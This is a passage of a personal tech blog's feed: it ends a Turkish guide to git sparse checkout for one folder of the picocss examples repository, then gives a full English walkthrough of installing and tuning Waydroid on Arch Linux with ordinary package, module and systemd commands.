&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;pico-v2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pico-v2
git&lt;span class="w"&gt; &lt;/span&gt;init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2-uzak-repoyu-ekleyin"&gt;2️⃣ Uzak Repo&amp;rsquo;yu Ekleyin&lt;a class="headerlink" href="#2-uzak-repoyu-ekleyin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;remote&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;origin&lt;span class="w"&gt; &lt;/span&gt;https://github.com/picocss/examples.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="3-sparse-checkoutu-etkinlestir"&gt;3️⃣ Sparse Checkout'u Etkinle&amp;scedil;tir&lt;a class="headerlink" href="#3-sparse-checkoutu-etkinlestir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;core.sparseCheckout&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="4-indirmek-istediginiz-klasoru-belirtin"&gt;4️⃣ &amp;Idot;ndirmek &amp;Idot;stedi&amp;gbreve;iniz Klas&amp;ouml;r&amp;uuml; Belirtin&lt;a class="headerlink" href="#4-indirmek-istediginiz-klasoru-belirtin" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"v2-sass-customized-design-system/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;.git/info/sparse-checkout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Dikkat 💡 Klas&amp;ouml;r yolu repository k&amp;ouml;k dizinine g&amp;ouml;re yaz&amp;inodot;lmal&amp;inodot;d&amp;inodot;r.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="5-sadece-ilgili-klasoru-indir"&gt;5️⃣ Sadece &amp;Idot;lgili Klas&amp;ouml;r&amp;uuml; &amp;Idot;ndir&lt;a class="headerlink" href="#5-sadece-ilgili-klasoru-indir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;origin&lt;span class="w"&gt; &lt;/span&gt;master
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Branch kontrol&amp;uuml; ⚠️ E&amp;gbreve;er repo &lt;code&gt;main&lt;/code&gt; branch kullan&amp;inodot;yorsa &lt;code&gt;git pull origin main&lt;/code&gt; kullanmal&amp;inodot;s&amp;inodot;n&amp;inodot;z.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc_1"&gt;Sonu&amp;ccedil;&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Art&amp;inodot;k sadece ihtiyac&amp;inodot;n&amp;inodot;z olan klas&amp;ouml;r indirildi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pico-v2/v2-sass-customized-design-system/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ozet"&gt;&amp;Ouml;zet&lt;a class="headerlink" href="#ozet" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;GitHub reposunun tamam&amp;inodot;n&amp;inodot; indirmeden sadece belirli klas&amp;ouml;rleri &amp;ccedil;ekebilirsiniz.&lt;/li&gt;
&lt;li&gt;Sparse checkout, b&amp;uuml;y&amp;uuml;k projelerde zaman ve disk tasarrufu sa&amp;gbreve;lar.&lt;/li&gt;
&lt;li&gt;Linux &amp;uuml;zerinde kolayca uygulanabilir ⚡&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="kaynaklar_1"&gt;Kaynaklar&lt;a class="headerlink" href="#kaynaklar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/picocss/examples" rel="noopener noreferrer" target="_blank"&gt;GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://git-scm.com/docs/git-sparse-checkout" rel="noopener noreferrer" target="_blank"&gt;Git Sparse Checkout Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bu &amp;ouml;zellik gitlab ui'inde var,github ui'inde neden yok acaba? 🤔&lt;/p&gt;
&lt;p&gt;&lt;img alt="Git Sparse Kullan&amp;inodot;m&amp;inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/git-sparse-checkout-rehberi-xl.webp" srcset="/images/git-sparse-checkout-rehberi-sm.webp 300w, /images/git-sparse-checkout-rehberi-md.webp 500w, /images/git-sparse-checkout-rehberi-lg.webp 800w, /images/git-sparse-checkout-rehberi-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Git"/><category term="git"/><category term="github"/><category term="sparse-checkout"/><category term="linux"/><category term="rehber"/></entry><entry><title>Waydroid Installation on Arch Linux: Binder Modules and Advanced Settings</title><link href="https://yuceltoluyag.github.io/en/arch-linux-waydroid-kurulumu/" rel="alternate"/><published>2025-10-26T03:00:00+03:00</published><updated>2025-10-26T03:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-10-26:/en/arch-linux-waydroid-kurulumu/</id><summary type="html">&lt;p&gt;Install Waydroid on Arch Linux and run Android apps on your desktop with advanced settings. Enable binder modules and enhance your gaming experience.&lt;/p&gt;</summary><content type="html">&lt;script type="application/ld+json"&gt;{"@context": "https://schema.org", "@type": "VideoObject", "name": "Waydroid Installation on Arch Linux: Binder Modules and Advanced Settings", "description": "&lt;p&gt;Install Waydroid on Arch Linux and run Android apps on your desktop with advanced settings. Enable binder modules and enhance your gaming experience.&lt;/p&gt;", "thumbnailUrl": "https://i.ytimg.com/vi/HVQBmWN5ZaU/hqdefault.jpg", "uploadDate": "2025-10-26T03:00:00+03:00", "embedUrl": "https://www.youtube.com/embed/HVQBmWN5ZaU"}&lt;/script&gt;
&lt;h2 id="introduction"&gt;Introduction&lt;a class="headerlink" href="#introduction" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want to &lt;strong&gt;install Waydroid on Arch Linux&lt;/strong&gt;, you're in the right place. In this guide, we will show you step by step what Waydroid is, which packages are required, how to load system modules, and how to run Waydroid for the first time.&lt;/p&gt;
&lt;p&gt;Waydroid is a project that allows you to run Android applications in a &lt;strong&gt;container&lt;/strong&gt; on Linux. It runs the Android environment directly over &lt;strong&gt;LXC (Linux Containers)&lt;/strong&gt; on your system without installing a virtual machine. This way, you get a much faster, integrated, and resource-friendly Android experience ⚡&lt;/p&gt;
&lt;p&gt;At the end of this guide:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You will be able to install Waydroid on Arch Linux from scratch,&lt;/li&gt;
&lt;li&gt;You will learn how to enable binder modules,&lt;/li&gt;
&lt;li&gt;You will manage Waydroid system services,&lt;/li&gt;
&lt;li&gt;You will be able to start Android applications on your desktop smoothly,&lt;/li&gt;
&lt;li&gt;You will be able to optimize the gaming experience with advanced features.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="what-is-waydroid"&gt;What is Waydroid?&lt;a class="headerlink" href="#what-is-waydroid" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Waydroid&lt;/strong&gt; is an open-source tool designed to run Android applications on Linux systems.
Simply put:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It runs the Android operating system in an isolated environment directly on the Linux kernel without closing system resources to a virtual machine.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Waydroid uses &lt;strong&gt;LXC&lt;/strong&gt; based container technology. Thanks to this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Performance is much higher than virtual machines,&lt;/li&gt;
&lt;li&gt;Hardware acceleration can be used,&lt;/li&gt;
&lt;li&gt;System resources are shared efficiently.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="basic-components"&gt;Basic Components&lt;a class="headerlink" href="#basic-components" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;waydroid&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Main command line tool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;binder_linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Provides Android binder interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ashmem_linux&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Android shared memory module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;systemd services&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Automatically starts Waydroid's container&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="step-1-installing-required-packages_1"&gt;Step 1: Installing Required Packages&lt;a class="headerlink" href="#step-1-installing-required-packages" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, let's install Waydroid and required modules on your system.
For Arch Linux users, using &lt;code&gt;pacman&lt;/code&gt; and &lt;code&gt;yay&lt;/code&gt; is the easiest method.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Syu&lt;span class="w"&gt; &lt;/span&gt;lxc&lt;span class="w"&gt; &lt;/span&gt;python-gbinder
yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;waydroid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;If &lt;code&gt;yay&lt;/code&gt; is not installed 💡&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;To install the &lt;code&gt;yay&lt;/code&gt; helper tool:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;base-devel&lt;span class="w"&gt; &lt;/span&gt;git
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://aur.archlinux.org/yay.git
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;yay
makepkg&lt;span class="w"&gt; &lt;/span&gt;-si
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-2-enabling-binder-and-ashmem-modules"&gt;Step 2: Enabling Binder and Ashmem Modules&lt;a class="headerlink" href="#step-2-enabling-binder-and-ashmem-modules" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For Waydroid to communicate with Android components, the &lt;strong&gt;binder&lt;/strong&gt; and &lt;strong&gt;ashmem&lt;/strong&gt; modules must be active.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lsmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;binder
lsmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;ashmem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If there is no output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;modprobe&lt;span class="w"&gt; &lt;/span&gt;binder_linux
sudo&lt;span class="w"&gt; &lt;/span&gt;modprobe&lt;span class="w"&gt; &lt;/span&gt;ashmem_linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;To make permanent ⚡ If you want to load modules automatically at each restart:&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"binder_linux\nashmem_linux"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;/etc/modules-load.d/waydroid.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-3-enabling-waydroid-services"&gt;Step 3: Enabling Waydroid Services&lt;a class="headerlink" href="#step-3-enabling-waydroid-services" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Waydroid uses two main services on the system:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;waydroid-container.service&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;waydroid-session.service&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To enable services:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Check status:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;status&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;If binder module is not active, service cannot start ⚡ You can check with &lt;code&gt;dmesg | grep binder&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-4-starting-waydroid-environment"&gt;Step 4: Starting Waydroid Environment&lt;a class="headerlink" href="#step-4-starting-waydroid-environment" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Start the Waydroid container:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The initial installation may take a few minutes.
After installation is complete:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
waydroid&lt;span class="w"&gt; &lt;/span&gt;show-full-ui
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;If you use Wayland or GNOME Shell 💡 The &lt;code&gt;waydroid show-full-ui&lt;/code&gt; command opens the Android interface on the desktop.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-5-application-management"&gt;Step 5: Application Management&lt;a class="headerlink" href="#step-5-application-management" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="application-list"&gt;Application List&lt;a class="headerlink" href="#application-list" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="launch-application"&gt;Launch Application&lt;a class="headerlink" href="#launch-application" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;launch&lt;span class="w"&gt; &lt;/span&gt;com.android.settings
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="install-application"&gt;Install Application&lt;a class="headerlink" href="#install-application" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;~/Downloads/application.apk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Some APKs may not work ⚡ Applications requiring Google services do not work without GApps.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-6-stopping-waydroid_1"&gt;Step 6: Stopping Waydroid&lt;a class="headerlink" href="#step-6-stopping-waydroid" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;stop
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;stop&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-7-troubleshooting"&gt;Step 7: Troubleshooting&lt;a class="headerlink" href="#step-7-troubleshooting" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="waydroid-logs"&gt;Waydroid Logs&lt;a class="headerlink" href="#waydroid-logs" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="if-binder-module-is-not-loaded"&gt;If Binder Module is Not Loaded&lt;a class="headerlink" href="#if-binder-module-is-not-loaded" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;modprobe&lt;span class="w"&gt; &lt;/span&gt;binder_linux
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;waydroid-container.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;If you get No binder devices found error ⚠️ Install a custom kernel if necessary.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-8-advanced-settings-and-gaming-experience_1"&gt;Step 8: Advanced Settings and Gaming Experience ⚙️&lt;a class="headerlink" href="#step-8-advanced-settings-and-gaming-experience" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="81-fake-wi-fi"&gt;8.1 Fake Wi-Fi&lt;a class="headerlink" href="#81-fake-wi-fi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;prop&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;persist.waydroid.fake_wifi&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"com.lilithgame.roc.gp"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Provides fake Wi-Fi for specific applications 💡&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="82-udev-and-uevent"&gt;8.2 Udev and Uevent&lt;a class="headerlink" href="#82-udev-and-uevent" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;prop&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;persist.waydroid.udev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
waydroid&lt;span class="w"&gt; &lt;/span&gt;prop&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;persist.waydroid.uevent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Forwards Linux hardware events to Android side ⚡&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="83-gamepad-support"&gt;8.3 Gamepad Support 🎮&lt;a class="headerlink" href="#83-gamepad-support" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;After connecting the control device, it is automatically recognized by Android.
If there are problems, check the &lt;code&gt;/dev/input&lt;/code&gt; directory.&lt;/p&gt;
&lt;h3 id="84-xtr-keymapper"&gt;8.4 XTR KeyMapper&lt;a class="headerlink" href="#84-xtr-keymapper" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sh&lt;span class="w"&gt; &lt;/span&gt;/sdcard/Android/data/xtr.keymapper/files/xtMapper.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/system/bin/app_process&lt;span class="w"&gt; &lt;/span&gt;-Djava.library.path&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/data/app/*/xtr.keymapper*/lib/x86_64&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
-Djava.class.path&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/data/app/*/xtr.keymapper*/base.apk&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;xtr.keymapper.server.RemoteServiceShell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Manually starts key mappings 💡&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="85-memory-management"&gt;8.5 Memory Management&lt;a class="headerlink" href="#85-memory-management" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;stop&lt;span class="w"&gt; &lt;/span&gt;waydroid-container
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Stops container and frees memory ⚠️&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="86-initial-start"&gt;8.6 Initial Start&lt;a class="headerlink" href="#86-initial-start" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;waydroid-container
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In subsequent sessions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion_1"&gt;Conclusion 🎯&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now &lt;strong&gt;Waydroid installation and advanced settings on Arch Linux&lt;/strong&gt; are complete!
You can get an optimized experience with Android games, gamepad, fake Wi-Fi, and key mappings.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Advanced setting 💡 With &lt;code&gt;waydroid prop set persist.waydroid.debug_shell true&lt;/code&gt; you can see live Android shell errors.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="resources"&gt;Resources&lt;a class="headerlink" href="#resources" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank"&gt;Waydroid - Arch Linux Wiki&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/waydroid/waydroid" rel="noopener noreferrer" target="_blank"&gt;Waydroid GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxcontainers.org/lxc/introduction/" rel="noopener noreferrer" target="_blank"&gt;LXC Containers Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Xtr126/XtMapper" rel="noopener noreferrer" target="_blank"&gt;XTR KeyMapper Project&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"&gt;&lt;/script&gt;
